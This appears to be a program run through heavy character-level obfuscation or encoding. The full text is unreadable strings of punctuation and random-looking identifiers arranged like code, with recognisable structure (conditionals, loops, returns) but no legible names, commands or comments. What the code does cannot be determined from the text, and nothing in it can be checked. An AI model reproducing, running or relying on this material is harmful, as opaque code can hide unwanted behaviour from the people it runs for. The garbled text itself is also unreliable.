:gnnnn)+:!>:'! f')<,*!v z,w(-=fzzygbn~gnnnnnnennuj4!{*-x=s a uj:=x>:z%:6}7:sj4!{*-x=e|~uDnn;>*/:+!>:'! f,,&x"7%*"w>* "|fzzygbnj$){/-6--4!zwxbn'9}8?4>/7?,4)fzzvgguD'(nnfj$){/-6--4!zwxnpsnnnfe|ggn5Dn;>*/:+!>:'! f'9}8?4>/7?,4)fzzwgbnnnnn')<,*!v z,w(-=fz}gfgbnn47}#%=++!*:fzzvgguDnnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fz}ygbn47}#%=++!*:fz}vgguDn,<+/%uD3DDnn3D3Dn3D'(nnnfj'>/4z?v:v%>))|<#nnhhnnnno&!}!x:{8x#>/:~:v#fggnn5DnDDDnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fz}ygbn47}#%=++!*:fz{~gguDnnnnnn?~$,4+?(~"$ 6(z=fj!6z;<}z'{:bnnn ;""guDn?~$,4+?(~"$ 6(z=fj:!7??)7zy{bnnnn ;""guD(!<+/-&nnfj-77%v9x98%6-n/=nnj(w+<&(79;gnn=,?(,4;}z-}  {8=6$'6>fj(w+<&(79;~bnj(w+<&(79;guDnj{w/,<z-?x=;w~&nsnnnnnf' :gn)+:!>:'! f')<,*!v z,w(-=fzzygbnn~gnennnnnuDnnnn;>*/:+!>:'! f')<,*!v z,w(-=fz{gbnj{w/,<z-?x=;w~&bnn,,&x"7%*"w>* "|fzzvgguDDD'(nnnfj{w/,<z-?x=;w~&nnnnpsnf~6e~6|ggnnn5Dnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|fzzwgbnnn,,&x"7%*"w>* "|fz}gfgbnnn'9}8?4>/7?,4)fzzvgguDnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fz{|gbnnnn')<,*!v z,w(-=fz}vgguDnnnnnn3Dnnnnnnn3Dn3nnnnn-/:-&nf&<!9/,"+nnj": >{,:|gnnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fz{|gbnnj": >{,:|guDDn3n-/:-&nf6-+>:'! nnj": >{,:|gn5Dnnnn3Dnnn3Dnn(; -:'! nnn"x=w<">;~=v!(wfgDnnnnn5Daan<+$+-:n*'=-!  +-:+*n=:/-%c(</#+DD:<7nn5Daann!#+n' %n:&+#+n=;>>!<:DDnnn'(nnnfo')<,*!v z,w(-=f}|}gf')<,*!v z,w(-=f|{|gggnn<+:;< uDnn'(nnnnnf*+(' +*f,,&x"7%*"w>* "|fx~}ggnn22n*+(' +*f47}#%=++!*:fz{}gggnnnn5Dn'(nnnff' :gnn)+:!>:'! f47}#%=++!*:fz{zgbnn~ggnnn5Dn*+"+:+!>:'! f47}#%=++!*:fz{zgguDnnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|fz{gbnnn~bnnn')<,*!v z,w(-=fzzvgguD3Daan*!#' /:+n!<-&+=:</:!<n(!<nn!=:n+<#=DDDDnnnnnn<+:;< uDnnn3Dnnj(",(/4}#}|y '<!nsnnf' :gn)+:!>:'! f47}#%=++!*:fz{zgbnn~guDnnnnn'(nnfoj(",(/4}#}|y '<!gnnnn<+:;< uDnnnj#,>=-y-? *nnnnsnnn47}#%=++!*:fz{{gf')<,*!v z,w(-=fz{xggnnnqnnf' :gnnn,,&x"7%*"w>* "|fz{ygf'9}8?4>/7?,4)fz{vggnntnn~uDDn'(nfj#,>=-y-? *nnrsnnn~gnj#,>=-y-? *nnsnf~6**e~6z(guDnnnnn'(nf,,&x"7%*"w>* "|fz}gfgnncnj(",(/4}#}|y '<!nnnrnnnj#,>=-y-? *nenf~6-e~6|ggnnnn<+:;< uDnnn;>*/:+!>:'! f,,&x"7%*"w>* "|fz{zgbn'9}8?4>/7?,4)fz}gfgbnnn'9}8?4>/7?,4)fz{wgguDj*+|?#!/(##,y>nnsnnnnf' :gn)+:!>:'! f')<,*!v z,w(-=fz{gbn~gnnnnenuDnnnn;>*/:+!>:'! f')<,*!v z,w(-=fzx~gbnnnnnj*+|?#!/(##,y>bnnn,,&x"7%*"w>* "|fz{wgguDn'(nnfj*+|?#!/(##,y>nnnpsnnnfzcggnnn5Dnn*+"+:+!>:'! f')<,*!v z,w(-=fzxgguD;>*/:+!>:'! f,,&x"7%*"w>* "|fzzwgbnnn47}#%=++!*:fz}gfgbnn')<,*!v z,w(-=fzx|gguDDnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fz{|gbn,,&x"7%*"w>* "|fzx}gguDnn3DDDnnnnnnn3nnn-/:-&nf&<!9/,"+nj": >{,:|gnn5D3n-/:-&nnnf6-+>:'! nnnj": >{,:|gnnnn5Dn3Dnn3D(; -:'! nn*~|}(6!"7!$")*+8,'=fgDnnn5D:<7n5Dnn'(nfo*+(' +*f')<,*!v z,w(-=f}vygggnnn<+:;< uDDnn'(nf,,&x"7%*"w>* "|f}wvgfgnsssnnnnnn'9}8?4>/7?,4)fvzggn<+:;< uDDDnn'(nnnfo"*~#9{/ww)$w?(,96fggn<+:;< uDn'(nnfo/)&87'yvw{ = z*~)fggnnnnnn<+:;< uDnnnnj+x$%;+4/-+ <(nnnnsnn9#::(!7?8|, ,v})v'fguDDDnnnj&9=-$z&*46=nnnnnsnnj+x$%;+4/-+ <(n`nnnn'9}8?4>/7?,4)fzxzguDnj')>v&(~%/+nnsnnnnn'9}8?4>/7?,4)fzx{gnnn`nl lnnn`nnnnnn47}#%=++!*:fzxxgnnn`nl lDnnn`nnnnnn,,&x"7%*"w>* "|fzxygnn`nnnl lnnnn`nnnn')<,*!v z,w(-=fzxvgn`nnnnl lnnnn`n,,&x"7%*"w>* "|fzxwgnn`nnnl lDn`nn'9}8?4>/7?,4)fzy~gnnnnn`nnnl lnnnn`nnnn,,&x"7%*"w>* "|fzygnn`nnl lnnn`n'9}8?4>/7?,4)fzxwgnnn`nnl lDnn`nn47}#%=++!*:fzy|gnn`nnl luDnnj-;<<+ :nnsnnnn47}#%=++!*:fzy}gfj&9=-$z&*46=gnnnnnnqnnnn'9}8?4>/7?,4)fzyzgfj&9=-$z&*46=gnntnlluDnnn'(nnnnnfo'9}8?4>/7?,4)fzzgfj-;<<+ :ggnn5Dnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fzy{gbn'9}8?4>/7?,4)fzz|gguDn<+:;< uDDDDn3Dnnn'(nnnnf,,&x"7%*"w>* "|fzz}gfj-;<<+ :bnn,,&x"7%*"w>* "|fzx{ggnnsssnn(/"=+gn5Dnnn=,?(,4;}z-}  {8=6$'6>fj&9=-$z&*46=bnj-;<<+ :n`nnnnj')>v&(~%/+guj#9/:!+98,4z8|xsww2yzuj?/#,"6/+sj#9/:!+98,4z8|x|}uDn-~~%z&yy; '6-}v7):*:fj&9=-$z&*46=bn9&46;zx7&+;'(fgguD??:+}<">$9;(=4=8'-+fj&9=-$z&*46=bnnnnfyy{c}{{gguD3Dnj>"~&9$z-") 76nnsnnnn+4667 68'<#||9fguDn'(nfoj>"~&9$z-") 76nnnnn22nn47}#%=++!*:f}wgfj>"~&9$z-") 76gnrnfz}}exyggnnn<+:;< uDj*8?|?/>$9$84~7nnnnsn')<,*!v z,w(-=fx{gf<xw=w,+~4~}#8~fgbnnn47}#%=++!*:fzyxgguDDnnnj8z()4x*~(nnnsnn;7*|y?6v~=;#*-v8:;w(/fguDnnnnnj/v({6"w z/xy%nsn!=+>>,++"6<w;&fnnnnn`n,,&x"7%*"w>* "|f~w|gbnf~6{e~6}ggn`nnn47}#%=++!*:fzyxguDnnj'$/";~|,9'4}~4%nnnnsn/<</7fDnnnj8z()4x*~(nn`nniainn`nnnnnj/v({6"w z/xy%bDj+x$%;+4/-+ <(nnnnn`nnniain`nnnnnj/v({6"w z/xy%bDnguDnnj?'v?}|6$)6+:v:nsnj8z()4x*~(nn`nnnniainnn`nj/v({6"w z/xy%uj6|?"!!8w; (}s}vxuj7=##/&|xsj6|?"!!8w; (}k{uDnn(!<+/-&nnfj'$/";~|,9'4}~4%nnn/=nnj'#=|)(>&~~gnnn5Dnnnnnj<y>%"%;-=~nsn')<,*!v z,w(-=f|xwgfj'#=|)(>&~~guD'(nf')<,*!v z,w(-=fvyvgfj<y>%"%;-=~gn22nnnnnn 6%6=z"z7)$(//*fj<y>%"%;-=~bnnnnnnf~6{-e~6wgbn:<;+ggnnn5Daann;=+ :':7+-!<*=tn' =:/ :'/:+n=+=='! c9' *!9DDnnj?'v?}|6$)6+:v:nnnnsnnnj'#=|)(>&~~uDnn,<+/%uDnnn3Dnnn3Dnj-x8'<%y"()8nnsnnn6:}/<")$?4:?9=':|fguDnnnj6"{)/&,%7'nnnnnsnnnnn w(=#-z$*6z+x>&>z+(wfDnnnn')<,*!v z,w(-=fzyygbD/<</7fi	ibnnni	 xzibnnnnnni igbD/<</7fj*8?|?/>$9$84~7bnnnj-x8'<%y"()8bn9),%/4:v49)x!/ /x9}(y:fggDnnnnnnguj>,w&677)y v=sy}evxuj,-<|{<%:w%""zxsj>,w&677)y v=c|{uDn'(nnnfoj6"{)/&,%7'gn5D'(nnnnff' :gn)+:!>:'! f,,&x"7%*"w>* "|fzyvgbn~gnnnnpn~gnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzywgbnn,,&x"7%*"w>* "|fzv~gguDn<+:;< uDn3Dnnnnnj*'=}=$wz~?9w,nnsnlluDnj%8$z<y~ 9/{%v?4nnnsnnn/<</7fnnn`n,,&x"7%*"w>* "|fzvgbnj8z()4x*~(n`n'9}8?4>/7?,4)fzv|gguDnnnj<8!!=w<&!?;v}nsnn47}#%=++!*:fz{{gf')<,*!v z,w(-=fzv}ggnqnnn,,&x"7%*"w>* "|fzv}gf')<,*!v z,w(-=fzvzggnnntnn(/"=+uDnnnnnn'(nf'9}8?4>/7?,4)fzzgfj<8!!=w<&!?;v}gnnnhhnnnj<8!!=w<&!?;v}nnossnllgnnn5Dnnnnnj%8$z<y~ 9/{%v?4nnsnn'9}8?4>/7?,4)fzzzgfbnnnn,,&x"7%*"w>* "|fzyggnn`niainnn`nnj<8!!=w<&!?;v}uDnnnj%8$z<y~ 9/{%v?4nnsnj8z()4x*~(nn`nniain`nnj<8!!=w<&!?;v}uDnnnn3Dn(!<+/-&nfj%8$z<y~ 9/{%v?4nn/=nnnnnj?7#6)/(gn5Dnj=,7~({7+y9+=:z)=nnsn')<,*!v z,w(-=fzv{gfj?7#6)/(gnqnnnn'9}8?4>/7?,4)fzyzgfj?7#6)/(gntnnnnnnlluDnnnnn'(nnnnfo'9}8?4>/7?,4)fzvxgfj=,7~({7+y9+=:z)=gnnnn22nnnj=,7~({7+y9+=:z)=nsssnnllgnn-! :' ;+uDDDD'(nnnnnnf,,&x"7%*"w>* "|f}~gf47}#%=++!*:fzvygbnnnnnnj=,7~({7+y9+=:z)=bnnj>>({}|(-7yv=!49~ggnnn5Dnnnj-=={y*|6/x/<"|nnsn'9}8?4>/7?,4)f|vgfj>>({}|(-7yv=!49~|guDnnnnn'(nnnnfj-=={y*|6/x/<"|nnossnllnnnhhnnnn=:<'>!=fj-=={y*|6/x/<"|bnnnn47}#%=++!*:fz|ggnsssnn(/"=+nnnhhnnno)#((v})/:~9)<:fj-=={y*|6/x/<"|ggnn5DDnj*'=}=$wz~?9w,nsnnnnj-=={y*|6/x/<"|uD,<+/%uDnn3Daan=:<+==c:+=:n-!#>/-:n+((+-:c:7>+DDDDn3Dn3D'(nnnfj*'=}=$wz~?9w,nossnnnnllgn5Dnnnnnnj6"{)/&,%7'nnnnnsnnnn'9}8?4>/7?,4)fzvvgf47}#%=++!*:fzvwgbn')<,*!v z,w(-=fzw~gnn`nnnn,,&x"7%*"w>* "|fz|}gfj*'=}=$wz~?9w,bnn:<;+gn`nnn'9}8?4>/7?,4)fzwgbnnnnj6"{)/&,%7'bnnnnguDnnnn'(nnfo'9}8?4>/7?,4)fzvxgfj6"{)/&,%7'ggnnn5Dnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fzywgbnn47}#%=++!*:fzw|gguDDD<+:;< uD3Dnn3Dj&yw,v$"8+7!z/nnnsnn:<;+uDj;x<!8;*&~}9&:nnsn ;""uDnn'(nnf47}#%=++!*:fzy}gfj?'v?}|6$)6+:v:ggnn5Daan('6;>n!<,':DDDnj;x<!8;*&~}9&:nnnsnnnn$9v'='y;'&{$%$zy+ff=:<' )gnn'9}8?4>/7?,4)fzyzgfj?'v?}|6$)6+:v:gguDDnnnnnn'(nnnnnnf')<,*!v z,w(-=fzvxgfj;x<!8;*&~}9&:gnnnhhnnnj;x<!8;*&~}9&:nnsssnnj6"{)/&,%7'gnnnn5Dnnnnnnnj&yw,v$"8+7!z/nnnnnsnn(/"=+uDDDn3Daann,' *' )=tn><'#+n&/ *=&/%+DDnn3Dj*4>(6|v8|?%:/6nsnn/<</7fDnnnnn`n'9}8?4>/7?,4)fzw}gbDnnf*+(' +*f,,&x"7%*"w>* "|fz}ggnnnnqnnn  
ntnnnj8z()4x*~(gn`n')<,*!v z,w(-=fzwzgbDnguDDnnj7w<(6v>4?74%#}#"nnnsnnnnf' :gnnn)+:!>:'! f47}#%=++!*:fzw{gbnnn~guDnn'(nnnnnnfj7w<(6v>4?74%#}#"nhhn')<,*!v z,w(-=fzwxgfgnncnnj7w<(6v>4?74%#}#"nnnrnnnfvx}x}e}yggn5Dn?~$,4+?(~"$ 6(z=fj?'v?}|6$)6+:v:bnnn ;""guDDDDn(!<+/-&nfj*4>(6|v8|?%:/6n/=nnnj8zv='}{#wgnnn5Daan-7-"+n*+:+-:+*DDnnnnnj 96*)76+"?z>)6~nnnsnnn47}#%=++!*:fzv{gfj8zv='}{#wgnnqn'9}8?4>/7?,4)fzyzgfj8zv='}{#wgnnnnntnnnnlluDnnnn'(nnf'9}8?4>/7?,4)fzvxgfj 96*)76+"?z>)6~gnhhn'9}8?4>/7?,4)fzz}gfj 96*)76+"?z>)6~bnnnj/v({6"w z/xy%gnossnnn(/"=+gnnn5Dj >z'%7y*<z-%&:?nnsnn$6'z(;#?:;+/( *<"-|fj 96*)76+"?z>)6~bnnj/v({6"w z/xy%guDDDn'(nnnnnnf,,&x"7%*"w>* "|fzwygfj >z'%7y*<z-%&:?gnnhhnnnnj >z'%7y*<z-%&:?nnnnossnnnnnj 96*)76+"?z>)6~gnn=,?(,4;}z-}  {8=6$'6>fj8zv='}{#wbnj >z'%7y*<z-%&:?guDnnnnnnnn3Dnnn3Dnnnnnnnn<+:;< uDnnn3Dnnnnnn'(nnnnnfj&yw,v$"8+7!z/gnnn5j<+ =>;{,=$v7$-sf~6-ze~6w+guj)6z<7:|~!'"*sj<+ =>;{,=$v7$-kxuDn:}w$*,?|?6~,'y| y;!w/fj?'v?}|6$)6+:v:bnnj6"{)/&,%7'bnn47}#%=++!*:fzwvgguDDDDnnnnnn-~~%z&yy; '6-}v7):*:fj?'v?}|6$)6+:v:bnnnn9&46;zx7&+;'(fgguDDnnn??:+}<">$9;(=4=8'-+fj?'v?}|6$)6+:v:bnnnnf~6~ve~6w-gguDnn"~/(%7wz&:z(&w/fj?'v?}|6$)6+:v:guDnn3Dnnnnj;-+-<z:8>nnnnnsnnnn,,&x"7%*"w>* "|fzv{gfj?'v?}|6$)6+:v:gnnnqnnnn$9v'='y;'&{$%$zy+ff=:<' )gnnnn')<,*!v z,w(-=fzwwgfj?'v?}|6$)6+:v:ggnnnnntnnlluDn'(nnnnnfj;-+-<z:8>nossnnj6"{)/&,%7'gnnn5DDnnnnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fzywgbnnnn,,&x"7%*"w>* "|f|wgguD?~$,4+?(~"$ 6(z=fj?'v?}|6$)6+:v:bnnnj&yw,v$"8+7!z/nnnqnnj;x<!8;*&~}9&:ntn ;""guDnj<$*8"4<!?xw( nnnnnnsnnnnf' :gnn)+:!>:'! f47}#%=++!*:f{~~gbnnnnnn~gnnennuDnnn;>*/:+!>:'! f47}#%=++!*:f{~~gbnnj<$*8"4<!?xw( bnnnnn')<,*!v z,w(-=f{~gguDDDDn'(nnnnfj<$*8"4<!?xw( nnnpsnnnnf~6e~6|ggnnn5j!6-%'>x|469$vsv}uj$:y-x=>z'&sfj!6-%'>x|469$vp~gqj!6-%'>x|469$vtcj!6-%'>x|469$vuD;>*/:+!>:'! f'9}8?4>/7?,4)fzw{gbnn47}#%=++!*:fzwxgfgbn'9}8?4>/7?,4)f{~gguDn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fzywgbnn')<,*!v z,w(-=f{~|gguDn3Dn<+:;< uDnnnn3Dnnn; =+:fj;-+-<z:8>guDj (!!7'+9'<! ''nnsn')<,*!v z,w(-=f{~}guDnj-77%v9x98%6-nsnnnn/<</7fguDn(!<+/-&nnnnnfj*4>(6|v8|?%:/6n/=nnj6x?:)9~{w/&xgnnn5Dj<y>%"%;-=~nnnsnnn'9}8?4>/7?,4)f|xwgfj6x?:)9~{w/&xguDDDD'(nfo')<,*!v z,w(-=fvyvgfj<y>%"%;-=~ggnnnnn-! :' ;+uDnnnnnj;!w#(x:4&$!nsnn47}#%=++!*:fz{{gf,,&x"7%*"w>* "|f~zggnnnqnn47}#%=++!*:f~zgfj6x?:)9~{w/&xbni-ignnntn(/"=+uD'(nfj;!w#(x:4&$!nnossn(/"=+nnnnhhnn,,&x"7%*"w>* "|fz{{gf47}#%=++!*:fxxgggnnn("!-%fj;!w#(x:4&$!bnnguDnj&+%'< '#9"%#%: ,nsnn47}#%=++!*:fzv{gfj6x?:)9~{w/&xgnqnnnn47}#%=++!*:fz}wgfj6x?:)9~{w/&xgntnn~uDnj,x={4w4?:)8} v7nnnnnsn')<,*!v z,w(-=f{~zgfj6x?:)9~{w/&xgnnnnqnn,,&x"7%*"w>* "|fzwwgfj6x?:)9~{w/&xgnntnlluDnnnnnnn'(nnnnnfo47}#%=++!*:fzwygfj,x={4w4?:)8} v7ggn5Dnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzywgbn47}#%=++!*:fzz|gguDn'(nfj;!w#(x:4&$!nnnossn(/"=+gnnnnnn5Dnnnnnn'(nnnf')<,*!v z,w(-=fz{{gf47}#%=++!*:f{~{gggnnn("!-%fj;!w#(x:4&$!bnnn guDnnnnnnn(-"!=+fj;!w#(x:4&$!guDn3Dnn-! :' ;+uDDnnn3Dn'(nnnf47}#%=++!*:fzz}gfj,x={4w4?:)8} v7bnnj/v({6"w z/xy%gnnossnn(/"=+gn5Dnnnnnn'(nf,,&x"7%*"w>* "|fzv{gfj?'v?}|6$)6+:v:ggnnn5Dnn'(nnnfj;!w#(x:4&$!nnnossn(/"=+gn5Dnnnn'(nf,,&x"7%*"w>* "|fz{{gf,,&x"7%*"w>* "|f{~{gggn("!-%fj;!w#(x:4&$!bnnn guDnnnnn(-"!=+fj;!w#(x:4&$!guDDnnnn3Dnnnnnn-! :' ;+uDnn3Dj,x={4w4?:)8} v7nsnnnnn$6'z(;#?:;+/( *<"-|fj,x={4w4?:)8} v7bnnnnj/v({6"w z/xy%guDnnnnn3D'(nfo'9}8?4>/7?,4)fzwygfj,x={4w4?:)8} v7ggnnnn5Dnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fzywgbnnnnn,,&x"7%*"w>* "|fzw|gguj4?z&7)(sz{uj!4&87""8<y }>sj4?z&7)(k|uDn'(nnnnfj;!w#(x:4&$!nnnnossnnn(/"=+gnnn5Dnnnn'(nnnf,,&x"7%*"w>* "|f{~xgf')<,*!v z,w(-=f{~ygggnn("!-%fj;!w#(x:4&$!bn guDn(-"!=+fj;!w#(x:4&$!guDnnn3Dnnnnn-! :' ;+uDnnn3Dn'(nfo'9}8?4>/7?,4)f{~vgfj?'v?}|6$)6+:v:ggnn5Daann;""n':+n*':' )tn=+<'/"'4+n*'=:<',;:!<DDnn'(nnnnfj;!w#(x:4&$!nnossn(/"=+gn5Dn'(nnnnf47}#%=++!*:f{~xgf47}#%=++!*:f{~wgggnnn("!-%fj;!w#(x:4&$!bnn guDn(-"!=+fj;!w#(x:4&$!guDDDnn3DDDnnn-! :' ;+uDnnn3Dn'(nf'#?9x%y"zy6</$/9{%fggnn5DDDDnnj8z,|6y</ "=(nnnnnsnl r(!*;"+n"':+=>++*p ln`nj (!!7'+9'<! ''nnnn`nnnn'9}8?4>/7?,4)f{~gnnnn`nnnj?'v?}|6$)6+:v:n`nnnnilinnn`nnnl ra(!*;"+p luD3n+"=+nn5Dnnj8z,|6y</ "=(nsnnnnl r(!*;"+n#!*>&>`-p lnn`nj (!!7'+9'<! ''nn`n47}#%=++!*:f{gn`nnj?'v?}|6$)6+:v:n`nilinnnn`nl ra(!*;"+p lDnn`nnlr(!*;"+n#!*>&>{`-p ln`nj (!!7'+9'<! ''n`n47}#%=++!*:f{gn`nnnnj?'v?}|6$)6+:v:nn`nilin`nl ra(!*;"+p lDDDnnnnn`nnnlr(!*;"+n#!*>&>y`-p lnn`nnnj (!!7'+9'<! ''nn`nnn,,&x"7%*"w>* "|f{|gnnn`nj?'v?}|6$)6+:v:n`nilin`nnnnnnl ra(!*;"+p lDnnnnnnn`nlr(!*;"+n#!*>&>v`-p lnn`nnnnnnj (!!7'+9'<! ''n`nnn')<,*!v z,w(-=f{|gnn`nj?'v?}|6$)6+:v:n`nnnnilinnnnn`nl ra(!*;"+p luDDnn3Dnn'(nf=,?(,4;}z-}  {8=6$'6>fj6x?:)9~{w/&xbnj,x={4w4?:)8} v7nnnnn`nj8z,|6y</ "=(ggnnj-77%v9x98%6-nnnnnsnn/<</7fj6x?:)9~{w/&xbnnj,x={4w4?:)8} v7guDnn'(nnfj&+%'< '#9"%#%: ,gnn-~~%z&yy; '6-}v7):*:fj6x?:)9~{w/&xbnj&+%'< '#9"%#%: ,guDDnnn+"=+nn-~~%z&yy; '6-}v7):*:fj6x?:)9~{w/&xbnnn47}#%=++!*:fzwxgfgguD'(nnnnnfj;!w#(x:4&$!nnnossnn(/"=+gnn5D'(nnnf')<,*!v z,w(-=f{}gf,,&x"7%*"w>* "|f{~wgggnnn("!-%fj;!w#(x:4&$!bnn guDnn(-"!=+fj;!w#(x:4&$!guDnnn3Dnnnnnnn3Dnnn'(nnnnffj&yw,v$"8+7!z/nnn22n'9}8?4>/7?,4)f{zgfj-77%v9x98%6-gnnnnnpnn~gnnhhnnnnno&!}!x:{8x#>/:~:v#fggnnnnn5DnDDDDn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzywgbnnn')<,*!v z,w(-=fz{~gguDDnn?~$,4+?(~"$ 6(z=fj?'v?}|6$)6+:v:bnnj;x<!8;*&~}9&:guD(!<+/-&nfj-77%v9x98%6-n/=nj(w+<&(79;gnnn=,?(,4;}z-}  {8=6$'6>fj(w+<&(79;~bnnnnj(w+<&(79;guDDDDnnj<$*8"4<!?xw( nnsnnnnf' :gnn)+:!>:'! f,,&x"7%*"w>* "|f{~~gbnn~gnnnnenuDnnnnnnDD;>*/:+!>:'! f47}#%=++!*:f{~~gbnnj<$*8"4<!?xw( bnnn47}#%=++!*:f{~gguDnn'(nnfj<$*8"4<!?xw( nnnpsnnf~6e~6|ggn5D;>*/:+!>:'! f'9}8?4>/7?,4)fzw{gbnn'9}8?4>/7?,4)fzwxgfgbnn'9}8?4>/7?,4)f{~gguDnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fzywgbnnnn')<,*!v z,w(-=f{~|gguDnnnnnn3DDDnnnnnnnn<+:;< uDDDnnnnn3Dnn'(nnnnff' :gnn)+:!>:'! f,,&x"7%*"w>* "|f{~~gbnnn~gnpn~gnnnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|f{~~gbnn~bn47}#%=++!*:f{{gguD'(nnnnff' :gnn)+:!>:'! f,,&x"7%*"w>* "|f{xgbnn~gnnnnpnnnn~gn*+"+:+!>:'! f,,&x"7%*"w>* "|f{ygguDDDDnnnnn3nnn-/:-&nnf&<!9/,"+nj": >{,:|gn5Dnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzywgbnnnj": >{,:|guj;v';+|?s~2zwuj?z!? ;~$sj;v';+|?{zuDn3nn-/:-&nnnnnf6-+>:'! nj": >{,:|gnnnn5DDDn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fzywgbnnj": >{,:|guDn3Dnnnnn3Dnn(; -:'! nnn,-v:{?!4v6?)'%7"#fgD5Dnnnnn:<7n5Dn'(nnnfo*+(' +*f47}#%=++!*:f{vgggnn<+:;< uDnnn'(nfo')<,*!v z,w(-=f{wgf47}#%=++!*:f|{|gggn<+:;< uDDDnnnj?=9;|{',-"9nsnnnnnn!=+>>,++"6<w;&fnnnnn`nn'9}8?4>/7?,4)f{|~gbnf}wgguDnnnnj>"~&9$z-") 76nsn+4667 68'<#||9fguD'(nnnfoj>"~&9$z-") 76nnn22n')<,*!v z,w(-=f}wgfj>"~&9$z-") 76gnnrnnnf~6*(e~6{ggnnn<+:;< uDj-x8'<%y"()8nnnsnnn6:}/<")$?4:?9=':|fguDnnnj-;<<+ :nnsnn)+:!>:'! fj?=9;|{',-"9bnnnnllguDnnnnn'(nnnnfj-;<<+ :nhhnn,,&x"7%*"w>* "|f}wgfj-;<<+ :gnsssnn47}#%=++!*:f}wgfj-x8'<%y"()8gnnnhhnnj-;<<+ :nnsssnj-x8'<%y"()8gnn<+:;< uDnnnnnn'(nnnnf47}#%=++!*:f{wgf47}#%=++!*:f{|gggnnnn5D;>*/:+!>:'! fj?=9;|{',-"9bnnj-x8'<%y"()8bnn')<,*!v z,w(-=f{{gguDnnn3nnn+"=+'(nnnf*+(' +*f')<,*!v z,w(-=f{||ggnhhn*+(' +*f')<,*!v z,w(-=f{|}ggnnnnhhnnnnn*+(' +*f'9}8?4>/7?,4)f{|zggnnnnnnhhnnn*+(' +*f47}#%=++!*:fwzggnhhn47}#%=++!*:f{|{gf47}#%=++!*:f{|xgggn5Dnj%6w$4'=#~/|>nnnnsn47}#%=++!*:f{|xguDnj(#}{,~v(!:nnnnnnsnnn +9nnnj%6w$4'=#~/|>f-! =:/ :f')<,*!v z,w(-=f{||ggbnnn-! =:/ :f,,&x"7%*"w>* "|f{|yggbn-! =:/ :f'9}8?4>/7?,4)f{|vggbn-! =:/ :f47}#%=++!*:f{|wggguDn'(nnnnfj(#}{,~v(!:nhhnnoj(#}{,~v(!:cp-!  +-:+<< !gnnnn5Dj><+('6nnsn'==+:fj	')<,*!v z,w(-=f}|gcp><+('6gnnnqnnj	47}#%=++!*:f}|gcp><+('6nntn'9}8?4>/7?,4)f~~|guDDDDnnj+y$ 78!8w:wy}|)znnnsnj(#}{,~v(!:cp<+/"+=-/>+=:<' )fj-x8'<%y"()8guDDnnnnnnj("*#-xx7=|nnsnnnj(#}{,~v(!:cp<+/"+=-/>+=:<' )fj?=9;|{',-"9guDnnnj(#}{,~v(!:cp?;+<7fl6z+6{}6z{n 6{z6z(n5j><+('63!6y~:6xw! 6y}nf6x(6y~6yz'!6x+ /6x*+bn!6y~:6xw6x( 8/";+bn6x;6yz!"!/*gn6{x6z-6z{6{}nfi5j("*#-xx7=|3ibni5j+y$ 78!8w:wy}|)z3ibni 6x(ign6z+n
6z-6z6{znn6{{6zz6z6{zn!6y~6yz6xw6x( 86x";+si5j+y$ 78!8w:wy}|)z3ilguD'(nfj(#}{,~v(!:cp+<<!<gnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f{|~gbnnnnn47}#%=++!*:f{}~gnnn`n,,&x"7%*"w>* "|f}zygfj(#}{,~v(!:cp+<<!<bnnn~bnf|vcvggguDnj(#}{,~v(!:cp-"!=+fguDn3D3Daan/**n:7>+n/  !:/:'! =DD3n-/:-&nnnf&<!9/,"+nnnnnj": >{,:|gnnnnnn5D!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f{}gbnnnnj": >{,:|guDnnn3nnnnn-/:-&nnnnnnf6-+>:'! nnnj": >{,:|gnn5Dnn3Dnnnnn3Dnnn(; -:'! nn"'9)>#z=}9|}z+>fgD5Daann  +<"!-%=tn&!!%n*+-!</:!<DDj'**&)$,{nnsnn*+(' +*f')<,*!v z,w(-=fz}ggnnnqnnnn  
nntnnnnnnnnnn`nnnnn,,&x"7%*"w>* "|fwxyguDj*8(|~y9v(|8;<nnnnsnn!=+>>,++"6<w;&fnnn`n'9}8?4>/7?,4)f{}|gbnfxxyzgguDnn<+:;< n/<</7fj'**&)$,{nn`nn47}#%=++!*:f{yvgbnnj'**&)$,{nn`nn,,&x"7%*"w>* "|f{}}gnnn`nj*8(|~y9v(|8;<nnnnn`nn47}#%=++!*:f{}zgbnnj*8(|~y9v(|8;<guD3Dn(; -:'! nnnnn+7$,#6'%:/)?-vfj?vz7*~8yw{<wygDn5Dnnnj)6y)9",>-/nnsnnf' :gnnnnn47}#%=++!*:f{}{gfj?vz7*~8yw{<wyguDnnn'(nfj)6y)9",>-/nnrnnnnf~vcvgnnnnnn22nnnj)6y)9",>-/nnpnf|~wyz|e~ggn<+:;< n(/"=+uDnnj6&6#!} 489)?#<nsn,,&x"7%*"w>* "|f{}xgfj?vz7*~8yw{<wyguDnnn'(nnnfo'9}8?4>/7?,4)fzwygfj6&6#!} 489)?#<gnnnnn22nn,,&x"7%*"w>* "|f}wgfj6&6#!} 489)?#<gnrnf||c||gnn22nn'9}8?4>/7?,4)f}wgfj6&6#!} 489)?#<gnpnf}|{z}~eyyy||ggn<+:;< nnn(/"=+uDnnj(",(/4}#}|y '<!nnnsnnnn,,&x"7%*"w>* "|f||~gfitibnj6&6#!} 489)?#<bnnnnnnf|}v|}zgguD'(nnnnf47}#%=++!*:f{}ygfj(",(/4}#}|y '<!gnnnnrnfy~xxgnn22nj(",(/4}#}|y 